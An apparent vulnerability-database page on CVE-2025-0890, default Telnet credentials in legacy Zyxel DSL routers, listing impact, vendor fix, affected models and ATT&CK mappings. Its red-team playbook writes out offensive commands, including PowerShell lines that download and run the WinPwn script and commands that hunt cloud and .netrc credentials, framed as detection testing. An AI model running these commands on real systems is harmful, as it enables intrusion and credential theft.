CVE-2025-0890

CRITICAL Pub 04/02 Upd 12/02

Overview

This vulnerability is an authentication weakness caused by the presence of insecure default credentials in the Telnet management interface of Zyxel VMG4325-B10A firmware version 1.00(AAFR.4)C0_20170615. The root cause is the failure to enforce credential changes on initial setup, leaving default login details active. The affected component is the legacy DSL CPE device's Telnet service, which accepts administrative access without credential validation beyond the default values.

Vulnerability Description

**UNSUPPORTED WHEN ASSIGNED** Insecure default credentials for the Telnet function in the legacy DSL CPE Zyxel VMG4325-B10A firmware version 1.00(AAFR.4)C0_20170615 could allow an attacker to log in to the management interface if the administrators have the option to change the default credentials but fail to do so.

Impact

An unauthenticated attacker with network access to the device's Telnet port can log into the management interface using default credentials, gaining full administrative control. This enables the attacker to modify device settings, disrupt service, or pivot within the network. No user interaction or prior authentication is required (CVSS vector AV:N/AC:L/PR:N/UI:N). The high severity is due to the potential for complete compromise of the affected device and associated network infrastructure.

Solution

Zyxel has issued a security advisory addressing this vulnerability for affected legacy DSL CPE devices, including VMG4325-B10A firmware 1.00(AAFR.4)C0_20170615. Administrators should apply the vendor-released firmware updates as detailed in the advisory at https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-command-injection-and-insecure-default-credentials-vulnerabilities-in-certain-legacy-dsl-cpe-02-04-2025. The advisory provides specific patch versions and instructions to disable or change default Telnet credentials to mitigate unauthorized access.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability associated with insecure default credentials in the Telnet function of specific Zyxel DSL CPE firmware versions presents a significant security risk. This issue arises when devices are shipped with factory-set login credentials that are widely known and not adequately protected. The Telnet protocol, which is inherently insecure due to its lack of encryption, allows unauthorized users to gain access to the management interface of the affected devices if administrators neglect to change these default settings. This oversight can lead to unauthorized access, enabling attackers to manipulate device configurations, intercept traffic, or even launch further attacks on the network.

Attack vectors exploiting this vulnerability are straightforward and can be executed with minimal technical skill. An attacker could scan for devices using the Telnet protocol on common ports, identify those with default credentials, and gain access to the management interface. Once inside, they could alter settings, disable security features, or deploy malware. Furthermore, the presence of such devices on a network can serve as a foothold for lateral movement, allowing attackers to pivot to other systems or escalate privileges within the network. Given the prevalence of these devices in both residential and small business environments, the potential for widespread exploitation is alarming.

The real-world impact of this vulnerability can be severe, particularly for businesses that rely on these devices for their internet connectivity and network management. Unauthorized access can lead to data breaches, loss of sensitive information, and significant operational disruptions. Additionally, compromised devices can be used as part of a botnet for Distributed Denial of Service (DDoS) attacks, further amplifying the risk. The financial implications can be substantial, including costs associated with incident response, regulatory fines, and reputational damage. For organizations that handle sensitive data or operate in regulated industries, the consequences of such a breach could be catastrophic.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular network scans can help identify devices using default credentials, while configuration management practices should ensure that all devices are hardened according to security best practices. Organizations should enforce policies that mandate changing default credentials upon deployment and regularly review device configurations for compliance. Additionally, it is advisable to disable Telnet in favor of more secure protocols, such as SSH, which provide encrypted communication channels. Employing intrusion detection systems can also help monitor for unauthorized access attempts, allowing for timely responses to potential threats.

In conclusion, the vulnerability associated with insecure default credentials in Zyxel DSL CPE firmware poses a critical threat to network security. The ease of exploitation, coupled with the potential for significant real-world impact, underscores the importance of proactive security measures. Organizations must prioritize the hardening of their network devices and adopt comprehensive security policies to mitigate risks associated with this and similar vulnerabilities. By doing so, they can better protect their assets and maintain the integrity of their operations in an increasingly hostile cyber landscape.

Affected Products (15)

Vendor Product Version CPE
zyxel Zyxel Vmg4325-B10a Firmware N/A cpe:2.3:o:zyxel:vmg4325-b10a_firmware:-:*:*:*:*:*:*:*
zyxel Zyxel Sbg3500-N000 Firmware N/A cpe:2.3:o:zyxel:sbg3500-n000_firmware:-:*:*:*:*:*:*:*
zyxel Zyxel Vmg1312-B10a Firmware N/A cpe:2.3:o:zyxel:vmg1312-b10a_firmware:-:*:*:*:*:*:*:*
zyxel Zyxel Vmg1312-B10b Firmware N/A cpe:2.3:o:zyxel:vmg1312-b10b_firmware:-:*:*:*:*:*:*:*
zyxel Zyxel Vmg1312-B10e Firmware N/A cpe:2.3:o:zyxel:vmg1312-b10e_firmware:-:*:*:*:*:*:*:*
zyxel Zyxel Vmg3312-B10a Firmware N/A cpe:2.3:o:zyxel:vmg3312-b10a_firmware:-:*:*:*:*:*:*:*
zyxel Zyxel Vmg3313-B10a Firmware N/A cpe:2.3:o:zyxel:vmg3313-b10a_firmware:-:*:*:*:*:*:*:*
zyxel Zyxel Vmg3926-B10b Firmware N/A cpe:2.3:o:zyxel:vmg3926-b10b_firmware:-:*:*:*:*:*:*:*
zyxel Zyxel Vmg4325-B10a Firmware N/A cpe:2.3:o:zyxel:vmg4325-b10a_firmware:-:*:*:*:*:*:*:*
zyxel Zyxel Vmg4380-B10a Firmware N/A cpe:2.3:o:zyxel:vmg4380-b10a_firmware:-:*:*:*:*:*:*:*
zyxel Zyxel Vmg8324-B10a Firmware N/A cpe:2.3:o:zyxel:vmg8324-b10a_firmware:-:*:*:*:*:*:*:*
zyxel Zyxel Vmg8924-B10a Firmware N/A cpe:2.3:o:zyxel:vmg8924-b10a_firmware:-:*:*:*:*:*:*:*
zyxel Zyxel Sbg3300-N000 Firmware N/A cpe:2.3:o:zyxel:sbg3300-n000_firmware:-:*:*:*:*:*:*:*
zyxel Zyxel Sbg3300-Nb00 Firmware N/A cpe:2.3:o:zyxel:sbg3300-nb00_firmware:-:*:*:*:*:*:*:*
zyxel Zyxel Sbg3500-Nb00 Firmware N/A cpe:2.3:o:zyxel:sbg3500-nb00_firmware:-:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
100% auth_bypass
hardcoded_credentials
92% hardcoded_credentials
Insecure Direct Object Reference
54% idor
Privilege Escalation
35% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-50 Password Recovery Exploitation
40%
Medium High
CAPEC-653 Use of Known Operating System Credentials
30%
High High
CAPEC-644 Use of Captured Hashes (Pass The Hash)
30%
Medium High
CAPEC-645 Use of Captured Tickets (Pass The Ticket)
30%
Low High
CAPEC-509 Kerberoasting
30%
High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2025-0890
zyxel.com
GitHub CVE vendor-advisory
https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-command-injection-and-insecure-default-credentials-vulnerabilities-in-certain-legacy-dsl-cpe-02-04-2025